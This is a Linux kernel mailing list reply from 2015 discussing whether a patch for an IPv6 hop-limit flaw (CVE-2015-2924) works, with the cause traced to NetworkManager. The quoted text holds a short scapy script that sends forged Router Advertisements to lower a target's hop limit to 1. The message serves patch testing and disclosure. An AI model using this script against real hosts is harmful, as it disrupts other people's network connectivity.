linux-kernel - Re: [GIT] Networking

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Message-ID: <5540F605.2040907@modio.se>
Date:	Wed, 29 Apr 2015 17:17:25 +0200
From:	"D.S. Ljungmark" <ljungmark@...io.se>
To:	Denys Vlasenko <vda.linux@...glemail.com>,
	David Miller <davem@...emloft.net>
CC:	Linus Torvalds <torvalds@...ux-foundation.org>,
	Andrew Morton <akpm@...ux-foundation.org>,
	netdev@...r.kernel.org,
	Linux Kernel Mailing List <linux-kernel@...r.kernel.org>,
	Hannes Frederic Sowa <hannes@...essinduktion.org>,
	Don Howard <dhoward@...hat.com>
Subject: Re: [GIT] Networking


On 29/04/15 16:51, Denys Vlasenko wrote:
> On Wed, Apr 1, 2015 at 9:48 PM, David Miller <davem@...emloft.net> wrote:
>> D.S. Ljungmark (1):
>>       ipv6: Don't reduce hop limit for an interface
> 
> https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6fd99094de2b83d1d4c8457f2c83483b2828e75a
> 
> I was testing this change and apparently it doesn't close the hole.
> 
> The python script I use to send RAs:
> 
> #!/usr/bin/env python
> import sys
> import time
> import scapy.all
> from scapy.layers.inet6 import *
> ip = IPv6()
> # ip.dst = 'ff02::1'
> ip.dst = sys.argv[1]
> icmp = ICMPv6ND_RA()
> icmp.chlim = 1
> for x in range(10):
>     send(ip/icmp)
>     time.sleep(1)
> 
> # ./ipv6-hop-limit.py fe80::21e:37ff:fed0:5006
> .
> Sent 1 packets.
> ...<10 times>...
> Sent 1 packets.
> 
> After I do this, on the targeted machine I check hop_limits:
> 
> # for f in /proc/sys/net/ipv6/conf/*/hop_limit; do echo -n $f:; cat $f; done
> /proc/sys/net/ipv6/conf/all/hop_limit:64
> /proc/sys/net/ipv6/conf/default/hop_limit:64
> /proc/sys/net/ipv6/conf/enp0s25/hop_limit:1  <=== THIS
> /proc/sys/net/ipv6/conf/lo/hop_limit:64
> /proc/sys/net/ipv6/conf/wlp3s0/hop_limit:64
> 
> As you see, the interface which received RAs still lowered
> its hop_limit to 1. I take it means that the bug is still present
> (right? I'm not a network guy...).

It might not be present in the _kernel_. Do you run NetworkManager on
your system? If so, see below.

> 
> I triple-checked that I do run the kernel with the fix.
> Further investigation shows that the code touched by the fix
> is not even reached, hop_limit is changed elsewhere.
> 
> I'm willing to test additional patches.

NetworkManager had it's own re-implementation of the bug. It got fixed
with NetworkManager commit:

commit bdaaf9849b0cacf131b71fa2ae168f5db796874f
Author: Thomas Haller <thaller@...hat.com>
Date:   Wed Apr 8 15:54:30 2015 +0200

    platform: don't accept lowering IPv6 hop-limit from RA (CVE-2015-2924)



Beforte that commit, NetworkManager would take the RA packet, extract
the hop limit, and write it to the sysctl itself.




//D.S.



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